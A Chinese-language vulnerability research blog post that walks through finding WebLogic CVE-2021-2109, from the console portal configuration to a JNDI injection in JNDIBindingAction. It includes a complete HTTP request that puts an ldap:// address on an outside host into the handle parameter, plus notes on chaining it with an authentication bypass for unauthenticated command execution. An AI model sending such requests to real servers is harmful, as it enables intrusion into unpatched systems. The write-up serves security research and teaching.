<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一步一步教你漏洞挖掘之從挖掘思維來看Weblogic CVE-2021-2109

    VSole2021-10-20 10:53:06

    2020年CVE-2020-14882漏洞爆出后,激發了一波研究熱潮,當時Oracle官方發布的漏洞補丁存在缺陷,導致認證繞過很快就被bypass,同時自己按照挖掘套路發現了另一處RCE漏洞,組合認證繞過漏洞可實現未授權命令執行,該漏洞在2021年初已被修復,編號為CVE-2021-2109。下面就按照當時該漏洞挖掘路線圖來分析下這個JNDI注入。

    Portal渲染

    研究CVE-2020-14882漏洞時,利用的是console.portal來進行構造,看了下Weblogic的目錄結構,發現存在另一個`consolejndi.portal`文件:

    Weblogic可以通過Portals來渲染不同的表單。我們看下`consolejndi.portal`:

    分析發現上面的配置對應的URL為:

    /console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&JNDIHomePortlethandle=***
    

    也就是說`definitionLabel`屬性對應GET參數`_pageLabel`,后面帶一個`Handle`參數,對應配置中的portlet的`definitionLabel`。

    `consolejndi.portal`里面嵌套了很多portal,觀察到這樣一個portal定義:

    里面嵌入了一個`netuix:portletInstance`,對應`/PortalConfig/jndi/jndibinding.portlet`,相當于嵌入了一個子頁面,查看`/PortalConfig/jndi/jndibinding.portlet`:

    對應一個`netuix:strutsContent`。根據netuix使用規則:

    所以上面的struts定義的配置文件為`struts-auto-config-core.xml`:

    定義了`JNDIBindingAction`處理的servlet為`com.bea.console.actions.jndi.JNDIBindingAction`,也就是說,當訪問`consolejndi.portal`時,定義`_pageLabel`為`JNDIBindingPage`,將訪問`com.bea.console.actions.jndi.JNDIBindingAction`。

    漏洞觸發點

    審計下`JNDIBindingAction`:

    在第69行,存在如下調用:


    典型的JNDI調用,下面我們需要研究下其中的參數`prefix`和`suffix`是否可控。

    參數傳遞

    通過上面的分析,可以發現URL存在兩種構造模式。第一種:

    GET /console/core/JNDIBindingAction.do?context=context&binding=binding&server=server&handle=com.bea.console.handles.JndiBindingHandle HTTP/1.1Host: ***:7001Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ADMINCONSOLESESSION=eT3HAz8FO06xiXQnCWM_snTmX3_qkwPmMeMzmPS30g5ZjeB3o_jp!1953175459Connection: closeContent-Length: 4
    

    第二種:

    GET /console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIBindingPage&handle=*** HTTP/1.1Host: ***:7001Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ADMINCONSOLESESSION=eT3HAz8FO06xiXQnCWM_snTmX3_qkwPmMeMzmPS30g5ZjeB3o_jp!1953175459Connection: closeContent-Length: 4
    

    目前還需要構造合法的完整調用方式。我們知道,請求中的`handle`會被實例化,提交的參數會賦值給`objectIdentifier`變量,看一下`JNDIBindingAction`處理請求的代碼:

    從第45行開始,`bindingHandle`對象將依次讀取`context`,`bindname`,`servername`的值,定位`getContext`函數:

    進入`getComponent`,最終根據所有調用函數`getComponents`,這個函數很有意思,當`components`數組為null時,將拆分`objectIdentifier`組合成一個數組:

    可以以";"為分隔符,構造一個特殊字符串,這樣就可以完成前面`context`,`bindname`,`servername`變量的賦值了,需要注意的是,在`JNDIBindingAction`的第50行將根據提交的`servername`參數提取合法的`serverMBean`。

    通過調試,發現可以將`servername`賦值為`AdminServer`即可。同時由于對參數存在一定的修改:

    所以可以構造如下請求:

    GET /console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIBindingPage&handle=com.bea.console.handles.JndiBindingHandle(";ldap://***:1389/***;AdminServer") HTTP/1.1Host: ***:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://***:7001/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIContentSecurityBookAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7Cookie: ADMINCONSOLESESSION=_DPMG14dEyd1GiOOCrKCzlS3lR2PYlrMFCOHxYhP5RFefThKIA2G!-966078465Connection: close
    

    從而觸發lookup,導致JNDI注入。

    后記

    CVE-2020-14882補丁修復的認證繞過存在嚴重缺陷,所以很快就被bypass,如果組合一下認證繞過過程,就可以構建一條完整的未授權遠程命令執行漏洞利用鏈,感興趣的小伙伴可以自行研究下,這里就不再贅述了。

    漏洞挖掘weblogic
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一步一步教你漏洞挖掘之從挖掘思維來看Weblogic CVE-2021-2109
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    反序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    主要是可以拿著這些信息通過goole,或github搜索一些其他的敏感信息,擴大搜索面。效果就不多說了,在github泄漏一些賬號或源碼的事件簡直不要太多。)如果得到的ip結果不同,即可判斷使用了CDN。nmap掃描服務器進行搜集,我認為也是至關重要的一點,不能遺漏。里面的security項rename-command CONFIG ""又問:如果內容禁止使用ip如何探測內網端口1、使用dns解析2、127。
    也可以輸入多個域名、C段IP等,具體案例見下文。功能齊全的Web指紋識別和分享平臺,內置了一萬多條互聯網開源的指紋信息。
    首先恭喜你發現了寶藏。本項目集成了全網優秀的攻防武器項目,包含信息收集工具(自動化利用工具、資產發現工具、目錄掃描工具、子域名收集工具....etc...),漏洞利用工具(各大CMS利用工具、中間件利用工具等項目),內網滲透工具、應急響應工具、甲方運維工具、等其他安全資料項目,供攻防雙方使用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类